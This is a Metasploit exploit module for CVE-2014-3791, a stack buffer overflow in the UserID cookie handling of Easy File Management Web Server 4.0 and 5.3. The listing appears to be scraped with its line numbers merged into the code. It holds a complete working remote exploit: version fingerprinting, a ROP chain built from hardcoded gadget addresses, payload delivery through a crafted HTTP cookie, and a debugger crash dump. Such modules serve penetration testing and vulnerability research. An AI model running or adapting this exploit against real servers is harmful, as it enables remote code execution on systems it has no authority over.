Path: blob/master/modules/exploits/windows/http/efs_fmws_userid_bof.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking # Reliable memory corruption78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Easy File Management Web Server Stack Buffer Overflow',15'Description' => %q{16Easy File Management Web Server v4.0 and v5.3 contains a stack buffer17overflow condition that is triggered as user-supplied input is not18properly validated when handling the UserID cookie. This may allow a19remote attacker to execute arbitrary code.20},21'Author' => [22'superkojiman', # Vulnerability discovery23'Julien Ahrens', # Exploit24'TecR0c <roccogiovannicalvi[at]gmail.com>' # Metasploit module25],26'License' => MSF_LICENSE,27'References' => [28['CVE', '2014-3791'],29['OSVDB', '107241'],30['EDB', '33610'],31['BID', '67542'],32['URL', 'http://www.cnnvd.org.cn/vulnerability/show/cv_id/2014050536'],33['URL', 'http://www.web-file-management.com/']34],35'Platform' => 'win',36'Arch' => ARCH_X86,37'DefaultOptions' => {38'EXITFUNC' => 'process'39},40'Payload' => {41'BadChars' => "\x00\x0a\x0d;",42'Space' => 3420 # Lets play it safe43},44'Targets' => [45# Successfully tested efmws.exe (4.0.0.0) / (5.3.0.0) on:46# -- Microsoft Windows XP [Version 5.1.2600]47# -- Microsoft Windows [Version 6.1.7600]48# -- Microsoft Windows [Version 6.3.9600]49['Automatic Targeting', { 'auto' => true }],50['Efmws 5.3 Universal', { 'Esp' => 0xA445ABCF, 'Ret' => 0x10010101 }],51['Efmws 4.0 Universal', { 'Esp' => 0xA4518472, 'Ret' => 0x10010101 }],52# 0x10010101 = pop ebx > pop ecx > retn53# 0xA445ABCF = 0x514CF5 push esp > retn 0c54# 0xA4518472 = 0x457452 jmp esp55# From ImageLoad.dll56],57'DisclosureDate' => '2014-05-20',58'DefaultTarget' => 0,59'Notes' => {60'Reliability' => UNKNOWN_RELIABILITY,61'Stability' => UNKNOWN_STABILITY,62'SideEffects' => UNKNOWN_SIDE_EFFECTS63}64)65)6667register_options(68[69OptString.new('TARGETURI', [true, 'The URI path of an existing resource', '/vfolder.ghp'])70]71)72end7374def get_version75#76# NOTE: Version 5.3 still reports "4.0" in the "Server" header77#7879version = nil80res = send_request_raw({ 'uri' => '/whatsnew.txt' })8182unless res83vprint_error 'Connection failed'84return nil85end8687if res.body =~ /What's new in Easy File Management Web Server V(\d\.\d)/88version = $189vprint_status "Found version: #{version}"90elsif res.headers['server'] =~ /Easy File Management Web Server v(4\.0)/91version = $192vprint_status "Based on Server header: #{version}"93end9495version96end9798def check99code = Exploit::CheckCode::Safe100version = get_version101if version.nil?102code = Exploit::CheckCode::Unknown103elsif version == "5.3"104code = Exploit::CheckCode::Appears105elsif version == "4.0"106code = Exploit::CheckCode::Appears107end108109code110end111112def exploit113#114# Get target version to determine how to reach call/jmp esp115#116117print_status("Fingerprinting version...")118version = get_version119120if target.name =~ /Automatic/121if version.nil?122fail_with(Failure::NoTarget, "#{peer} - Unable to automatically detect a target")123elsif version =~ /5\.3/124my_target = targets[1]125elsif version =~ /4\.0/126my_target = targets[2]127end128print_good("Version #{version} found")129else130my_target = target131unless version && my_target.name.include?(version)132print_error("The selected target doesn't match the detected version, trying anyway...")133end134end135136#137# Fu to reach where payload lives138#139140sploit = rand_text(80) # Junk141sploit << [0x1001D8C8].pack("V") # Push edx142sploit << rand_text(280) # Junk143sploit << [my_target.ret].pack("V") # Pop ebx > pop ecx > retn144sploit << [my_target['Esp']].pack("V") # Setup call/jmp esp145sploit << [0x10010125].pack("V") # Contains 00000000 to pass the jnz instruction146sploit << [0x10022AAC].pack("V") # Mov eax,ebx > pop esi > pop ebx > retn147sploit << rand_text(8) # Filler148sploit << [0x1001A187].pack("V") # Add eax,5bffc883 > retn149sploit << [0x1002466D].pack("V") # Push eax > retn150sploit << payload.encoded151152print_status "Trying target #{my_target.name}..."153154#155# NOTE: Successful HTTP request is required to trigger156#157158send_request_cgi({159'uri' => normalize_uri(target_uri.path),160'cookie' => "SESSIONID=; UserID=#{sploit}; PassWD=;",161}, 1)162end163end164165=begin166167#168# 0x44f57d This will write UserID up the stack. If the UserID is to large it169# will overwrite a pointer which is used later on at 0x468702170#171172eax=000007d1 ebx=00000000 ecx=000001f4 edx=016198ac esi=01668084 edi=016198ac173eip=0044f57d esp=016197e8 ebp=ffffffff iopl=0 nv up ei pl nz na po nc174cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202175fmws+0x4f57d:1760044f57d f3a5 rep movs dword ptr es:[edi],dword ptr [esi]1770:004> dd @esi17801668084 41414141 41414141 41414141 4141414117901668094 41414141 41414141 41414141 41414141180016680a4 41414141 41414141 41414141 41414141181016680b4 41414141 41414141 41414141 41414141182016680c4 41414141 41414141 41414141 41414141183016680d4 41414141 41414141 41414141 41414141184016680e4 41414141 41414141 41414141 41414141185016680f4 41414141 41414141 41414141 41414141186187(c38.8cc): Access violation - code c0000005 (first chance)188First chance exceptions are reported before any exception handling.189This exception may be expected and handled.190eax=00000000 ebx=00000000 ecx=015198fc edx=41414141 esi=015198ec edi=015198fc191eip=00468702 esp=015197c0 ebp=ffffffff iopl=0 nv up ei pl nz na pe nc192cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206193fmws+0x68702:19400468702 ff5228 call dword ptr [edx+28h] ds:0023:41414169=????????195196=end197198199